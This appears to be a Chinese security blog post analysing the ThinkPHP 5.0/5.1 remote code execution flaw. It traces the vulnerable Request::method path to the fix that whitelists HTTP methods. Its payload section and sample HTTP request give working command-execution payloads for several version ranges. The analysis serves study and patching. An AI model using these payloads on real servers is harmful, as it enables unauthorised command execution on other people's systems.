HacKerQWQ的博客空间

TP5RCE代码执行漏洞分析(5.0.0

Word count: 928Reading time: 4 min
2021/09/02 Share

漏洞简介

漏洞存在版本:5.0.0<=ThinkPHP5<=5.0.23,5.1.0<=ThinkPHP<=5.1.30,在开启debug模式的情况下(默认不开启),传入payload可以修改Request类的成员变量,控制filter,和server[REQUEST_METHOD]最后在filterValue中的call_user_func造成任意代码执行

漏洞复现环境

  • php7.4.11
  • apache2
  • ThinkPHP5.0.23

image-20210902170159813

1
server%5BREQUEST_METHOD%5D=dir&_method=__construct&filter%5B%5D=system

部分payload

1
2
3
4
5
6
7
8
9
10
11
12
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞分析

数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 192.168.1.10
Content-Length: 70
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.10
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.10/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

server%5BREQUEST_METHOD%5D=dir&_method=__construct&filter%5B%5D=system

发送数据包后进入start.phpAPP::run()->send()方法

image-20210902170710920

然后跟进到thinkphp/library/think/App.php中进行模块/控制器绑定,默认语言加载、系统语言包,在未设置调度信息进行URL路由检测,调用的是self::routeCheck

image-20210902170951700

Route::check中进行路由获取

image-20210902171535087

在check方法中调用了$request->method()获取$_SERVER[REQUEST],method方法是关键所在

image-20210902171816016

由于$method默认是false,因此进入第二个分支,先从config文件中获取var_method的值,翻看config.php文件

image-20210902172001481

得到var_method对应的是_method,而$this->method获取的是$_POST[_method]的大写,因此是我们传入的__construct的大写,即__CONSTRUCT,由于没有对$method进行过滤,因此调用了Request类的构造方法,传入变量是$_POST变量

image-20210902172503120

在构造方法中,检查Request类中是否含传入的post数组中的变量,存在则存入属性中,即$this->server[REQUEST_METHOD]会赋值为dir即我们要执行的命令,$this->filter会赋值为system,至此赋值结束

image-20210902172604421

回到thinkphp/library/think/App.phprouteCheck逻辑,路由无效时会再调用parseUrl对url进行解析

image-20210902173102606

返回thinkphp/library/think/App.php的run方法逻辑,如果开启了debug模式的话self::debug的值为true,会调用$request->param()方法进行变量的读取

image-20210902174117248

param方法中如果$this->mergeParam是空值(默认是false,即默认会触发)则会调用method方法,传入变量为true,true意味着会进入$this->server方法

image-20210902174613981

server方法中,$this->server是之前赋值的REQUEST_METHOD=dir,$nameREQUEST_METHOD

image-20210902174834576

在input方法中对$name进行一系列处理后取出$this->server``中的REQUEST_METHOD即我们传入的dir

image-20210902175334178

然后下面就是getFilter方法,在原来filter的基础上加一个null,接着就进入到关键方法filterValue

image-20210902175641158

先用array_pop弹出一个值,剩下的filters进行foreach获取值,判断是否可调用,这里我们的$this->filter是传入的system,$valuedir,进入call_user_func就是system('dir')

image-20210902175945460

至此,漏洞分析完成,总的来说,关键出现问题的地方就是在Request.php的method方法中,使用了用户传入的值进行动态函数调用,修改了Request类的对象的值,因此才有后面的利用

漏洞修复

image-20210902180233318

判断$method是否是数组(‘GET’, ‘POST’, ‘DELETE’, ‘PUT’, ‘PATCH’)中的元素,才会进行调用

CATALOG
  1. 1. 漏洞简介
  2. 2. 漏洞复现环境
  3. 3. 漏洞分析
  4. 4. 漏洞修复